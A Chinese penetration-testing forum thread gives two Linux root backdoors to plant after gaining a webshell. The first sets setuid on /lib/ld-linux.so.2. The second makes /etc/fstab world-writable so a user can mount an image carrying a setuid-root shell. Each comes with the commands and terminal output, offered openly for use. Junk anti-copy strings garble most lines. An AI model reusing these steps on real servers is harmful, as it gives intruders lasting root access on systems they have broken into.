中国网络渗透测试联盟

标题: webshell下LINUX提权+留后门 [打印本页]
作者: admin    时间: 2013-3-8 21:56
标题: webshell下LINUX提权+留后门
方法一：setuid的方法，其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究3 F$ V! n4 K4 C" z

3 A$ a; g# S9 i1 H; `9 L3 E! o[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
3 |2 z: t% y- R3 N4 \lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究4 d$ ^, {% F! e9 L4 \. ^
lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
) Q4 m# j" ]% e/ n[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究  A4 A8 z3 P2 y6 m6 h
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究3 ~& w- W  r4 [8 z2 p; s
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
& S3 E0 H8 e0 @8 K6 g# Mlrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
/ N, ~2 r, Y) J& \+ p8 c[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究: e! h2 _7 l  M' k* l4 E) m) R8 L
我们这里给/lib/ld-linux.so.2这个文件（在FC8里，它指向ld-2.7.so这个文件）加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究8 B" _: _5 `5 e6 s  A
9 ~0 S. l. r+ Y: f1 {# T# v* q
普通用户登录，测试下权限：2ezX-BUG-关注前沿信息安全技术研究
. R  l% ?# A7 U4 }. ?% q# ]# B0 y3 ]7 _$ _! k1 ^: D- x: F
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究
& N, h, d' Y4 n. s& l% jxiaoyu2ezX-BUG-关注前沿信息安全技术研究
7 M0 x) s: ^& T4 y[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究8 _$ U& @) Y. h# F5 e& ^! ]) O  E
root2ezX-BUG-关注前沿信息安全技术研究% ?" R" R; z9 _( d- Q
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究( s. j; ~' T) a$ R1 l  e
恩，嘿嘿 root了吧，具体怎么生成root shell，你们自己去想吧，凡事都不要点得太透，对吧。呵呵，可以肯定的一点，/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell， bash检查euid 和uid，看是否相等...OK，不多说了。2ezX-BUG-关注前沿信息安全技术研究1 t9 |! z5 x0 w+ f$ C4 W
0 P3 b% U" b8 t7 \( f# Y
方法二：2ezX-BUG-关注前沿信息安全技术研究
+ H$ J8 b- _1 ^$ W
+ J3 d! a  G( ^! ^- v2 s看过程:2ezX-BUG-关注前沿信息安全技术研究* M$ U' @4 @# k$ ]9 J% T0 q

; w1 P6 i" c& a1 b8 P[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
' \/ s2 r& y( Y1 O. A7 a[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究/ v% m& r  N$ N% b
) J$ m1 e# }# ^% V" ~
这就留好了。此方法比较XXOXX，估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究  b' r) Q0 f( \4 Y* V% l8 I

+ I1 w. X3 |/ U[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究# L$ Q  ?% r& \- D2 N
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究6 {. _# s- B. h# c- o4 \! c
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
: s( p! _- T3 s) ~5 b+ N: b- x7 ]0 x& G9 S7 q5 a2 S
然后从本机把一个文件到目标机器上去，这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
. H! w( w% G0 A) R& |1 [& f
9 w; t+ ^9 V, E' R* N, q+ P9 e- i/ C[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究( @; Y! m! N) I  P4 ^6 }
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究$ Q" F8 c# d0 p# Z
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
- o5 e$ O- \! A- H; b# V4 x[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
/ ]8 w; c8 S+ B+ ?[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究% D+ @) [# \7 `6 }3 x7 y
total 182ezX-BUG-关注前沿信息安全技术研究
# {: o; z2 B+ r) Pdrwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究. H% B5 K4 w8 l
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究. k$ e5 Q) T- K% Z% p. `
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
) O$ ~4 U, w7 r. Z. `  o7 zsh-3.2#2ezX-BUG-关注前沿信息安全技术研究
) W; C; D  w! _/ Q3 {看到了吧，从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究
3 y0 h% {" d5 I' R) W* ^test这个文件baidu貌似木有上传功能撒，木办法传2ezX-BUG-关注前沿信息安全技术研究
$ S. ]6 {8 y- J1 d
- \# B) j; q" j9 T4 l) Z貌似可能有人说本地后门木啥鸟用，但是你要搞清楚：一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究) K, u* U0 K" Z- M$ A$ `& b% F4 z# i
2ezX-BUG-关注前沿信息安全技术研究( J3 ^2 n: R3 A- w' `" K

: v3 b2 U/ p) o( m; E
作者: wuyu    时间: 2013-3-13 15:10
谢谢分享



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2